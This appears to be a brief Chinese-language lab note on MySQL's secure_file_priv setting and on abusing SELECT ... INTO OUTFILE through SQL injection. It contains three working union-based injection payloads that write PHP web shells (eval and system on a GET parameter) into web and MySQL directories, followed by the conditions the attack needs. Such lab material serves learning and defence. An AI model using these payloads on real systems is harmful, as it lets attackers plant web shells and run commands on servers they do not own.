secure_file_priv是MySQL中的系统变量,用于限制文件的读取和写入。
查看命令:
show variables like "secure%"
//或者
select @@secure_file_priv;
1.secure_file_priv = NULL ,限制文件的读取和写入。
2.secure_file_priv = 文件路径 ,限制文件的读取和写入只能在设定的文件夹中。
3.secure_file_priv= "", 对文件和读取和写入没有任何限制。
into outfile ,将select 的结果写入到指定的文件中;
vince' union select " <?php @eval($_GET['test'])?>",2 into outfile "/var/www/html/1.php"#
vince' union select " <?php system($_GET['cmd'])?>",2 into outfile "/var/www/html/2.php"#
//构造sql
vince' union select " <?php system($_GET['cmd'])?>",2 into outfile "/var/lib/mysql-files/2.php"#
执行sql语句
进入到服务器目录下,看到文件已生成;
这个实验有三个前提条件:
1、需要知道远程服务器的文件目录;
2、需要该目录有写权限;
3、需要数据库开启secure_file_priv权限;